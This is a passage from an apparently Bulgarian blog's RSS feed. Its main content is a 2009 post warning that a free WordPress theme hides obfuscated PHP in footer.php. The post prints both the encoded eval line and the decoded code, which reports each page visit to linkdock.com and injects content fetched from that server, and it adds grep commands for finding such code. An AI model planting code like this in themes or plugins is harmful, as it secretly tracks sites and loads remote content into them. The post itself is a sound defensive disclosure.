<li><a href='http://ganbox.com/blog/%d1%81%d0%bf%d0%be%d0%b4%d0%b5%d0%bb%d1%8f%d0%bd%d0%b5-%d0%bd%d0%b0-%d0%b4%d0%be%d1%81%d1%82%d1%8a%d0%bf-%d0%b4%d0%be-google-analytics-%d0%b8-google-adwords/' rel='bookmark' title='Permanent Link: Споделяне на достъп до Google Analytics и Google Adwords'>Споделяне на достъп до Google Analytics и Google Adwords</a> <small>Google Analytics Google Analytics е безплатен уеб инструмент на Гугъл...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://ganbox.com/blog/%d0%bb%d0%be%d0%b3%d0%b2%d0%b0%d0%bd%d0%b5-%d0%b2-%d1%81%d0%b0%d0%b9%d1%82-%d1%81-openid-%d0%bf%d1%80%d0%b5%d0%b7-google/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Код за шпиониране в WordPress</title>
		<link>http://ganbox.com/blog/%d0%ba%d0%be%d0%b4-%d0%b7%d0%b0-%d1%88%d0%bf%d0%b8%d0%be%d0%bd%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%b2-wordpress/</link>
		<comments>http://ganbox.com/blog/%d0%ba%d0%be%d0%b4-%d0%b7%d0%b0-%d1%88%d0%bf%d0%b8%d0%be%d0%bd%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%b2-wordpress/#comments</comments>
		<pubDate>Sun, 16 Aug 2009 12:52:19 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[Сигурност]]></category>
		<category><![CDATA[Уеб програмиране]]></category>
		<category><![CDATA[PHP код]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[парола]]></category>
		<category><![CDATA[плъгин]]></category>
		<category><![CDATA[сигурност]]></category>
		<category><![CDATA[следене]]></category>
		<category><![CDATA[темплейт]]></category>
		<category><![CDATA[шпиониране]]></category>

		<guid isPermaLink="false">http://ganbox.com/blog/?p=256</guid>
		<description><![CDATA[Код за проследяване Пиша тази статия за всички ползващи WordPress, които не обичат да ги следят без тяхно знание. Проблем: Безплатна тема за WordPress с име Red_wave от автор AskGraphics се разпространява свободно на сайта http://wordpresstemplates.name, но открих, че съдържа във файла footer.php следния обфускиран PHP код: &#60;? eval(gzinflate(base64_decode(&#8216;vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+ X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5 K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNS Se/o3KiJhSMq1Fk6i5rCV1llGS6mAHub2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqmodSM0h5p4 HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A&#8217;))); ?&#62; (Всичко [...]]]></description>
			<content:encoded><![CDATA[<h3>Код за проследяване</h3>
<p>Пиша тази статия за всички ползващи WordPress, които не обичат да ги следят без тяхно знание.</p>
<p><span style="color: #993300;">Проблем:</span></p>
<p>Безплатна тема за WordPress с име Red_wave от автор AskGraphics се разпространява свободно на сайта http://wordpresstemplates.name, но открих, че съдържа във файла footer.php следния <a href="http://rechnik.info/обфускиран" target="_blank">обфускиран</a> PHP код:</p>
<p><span style="color: #993300;">&lt;? eval(gzinflate(base64_decode(&#8216;vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+</span></p>
<p><span style="color: #993300;">X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5</span></p>
<p><span style="color: #993300;">K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNS</span></p>
<p><span style="color: #993300;">Se/o3KiJhSMq1Fk6i5rCV1llGS6mAHub2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqmodSM0h5p4</span></p>
<p><span style="color: #993300;">HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A&#8217;))); ?&gt;</span></p>
<p>(Всичко това е на един ред).</p>
<p>Което всъщност представлява следния зашифрован PHP код за проследяване:</p>
<pre id="line157"><span style="color: #993300;">error_reporting(0);
$CodeURL = "http://linkdock.com/content.php?id=&amp;<span class="entity">host</span>=".urlencode($_SERVER["HTTP_HOST"])
."&amp;<span class="entity">uri</span>=".urlencode($_SERVER["REQUEST_URI"]);

if ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen")))
&amp;&amp; function_exists("file_get_contents")) {
	echo @file_get_contents($CodeURL);
} elseif ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen")))
&amp;&amp; function_exists("file")) {
	$content = @file($CodeURL);
	echo @join("", $content);
} elseif (function_exists("curl_init")) {
	$ch = curl_init($CodeURL);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_exec($ch);
	curl_close($ch);
}</span></pre>
<p>Както се вижда този скрипт изпраща до сървъра linkdock.com не само името на вашия домейн, а и точната страница, която в момента отваря посетителя.</p>
<h3>Защо го правят?</h3>
<p>С този код получават интернет трафик от различни уникални IP адреси, който се отчита в статистиките на сървъра им. Отчитат се повече посещения и сървъра може да продава рекламите си по-скъпо.<br />
<span style="color: #008000;">Решение:</span></p>
<p>Просто изтрий този ред от файла wp-content/themes/Red_wave/footer.php</p>
<p>В случая скрипта не носи някаква вреда, освен че забавя излишно зареждането на всяка една страница от блога и ако отсрещния сървър е претоварен, това ще доведе до много дълго време за зареждане на твоите страници на блога и дъното на сайта може да се чупи и размества. Ако твоя блог е прекалено често бавен, това няма да се хареса на бота на Google и е възможно твоя сайт да падне в <a href="http://ganbox.com/blog/какво-е-serp/">SERP</a>-а.</p>
<p>Често тази техника се ползва за да може автора на плъгина да вгради връзка към своя сайт, която да не може да бъде лесно открита и изтрита, но е възможно злонамерен сайт да разпространява безплатни темплейти или плъгини за WordPress, които да навредят на сайта, като например да изтрият всички статии.</p>
<h3>Общи съвети за сигурност</h3>
<p>Нека тази статия бъде предупреждение за всеки, който ползва темплейти или плъгини от непроверен източник. Съветвам те след като си свалиш тема или плъгин първо да пуснеш търсене в текста на всички файлове за опасни функции като eval(). Под Linux това става като от конзолата влезеш в директория wp-content и потърсиш с команда:</p>
<pre>grep --include=*.php -r "eval(" *</pre>
<p>Трябва тази команда да не изведе нищо. Ако излезеш една директория нагоре в главната уеб директория и пуснеш командата отново, там ще има няколко резултата, но повод за притеснение има само ако съдържат  base64_decode или gzinflate. Може да провериш това с командата:</p>
<pre>grep --include=*.php -r "eval(" * | grep -e "base64_decode\|gzinflate"</pre>
<p>Ако в eval има кодиран низ, като този по-горе и не знаеш как да го провериш, тогава по-добре не ползвай тази тема или плъгин. Колкото по красиво и професионално изглежда тимплейта, толкова по-силно ще се изкушаваш да го вградиш в твоя блог, но не искаш данните ти да пострадат нали? Знай, че това е възможно и много лесно да се направи.</p>
<p>Друг проблем със сигурността е небрежно написан код, който създава дупка в сигурността без знанието на разработчика на софтуера. Сигурно в 95% от случаите на хакване на сайт се дължат на това. Всеки допълнителен плъгин, който добавяш увеличава вероятността да поставиш дупка в сигурността в твоя сайт, затова не инсталирай плъгини, които не ползваш или такива, които ползваш много рядко.</p>
<p>Старите версии на WordPress имаха дупки в сигурността и вероятно и в бъдеще ще има такива. Много хора си мислят, че като качат най-новата версия на софтуера и така са защитени, но това не винаги е така.</p>
<h3>Правило за обновяване на софтуер</h3>
<p>Ето едно просто правило за обновяване, което важи не само за WordPress, а и за всеки един софтуер: В момента последната версия на WordPress е 2.8.4 и ако излезе нова версия 2.8.x като 2.8.5 или 2.8.6 обикновено запушва дупки в сигурността и поправя бъгове, затова е добре да я инсталираш веднага. Например 2.8.4 поправя дупка в сигурността на версии &lt;=2.8.3, чрез която може да се променя паролата на admin, затова веднага обнови до тази версия.</p>
<p>Но ако излезе версия с нова цифра като 2.9 (или направо 3.0) е много вероятно такава версия да има дупки в сигурността и е по-добре да изчакаш версия 2.9.1 или дори 2.9.2 и чак тогава да обновиш софтуера си. По този начин намаляваш риска значително.</p>
<div style="float:right;display:block" class="counterViews">Брой разглеждания на тази статия: <b>4157</b><br /><span style="color:grey;font-size:0.8em">(след дата 20 декември 2009)</span></div>]]></content:encoded>
			<wfw:commentRss>http://ganbox.com/blog/%d0%ba%d0%be%d0%b4-%d0%b7%d0%b0-%d1%88%d0%bf%d0%b8%d0%be%d0%bd%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%b2-wordpress/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

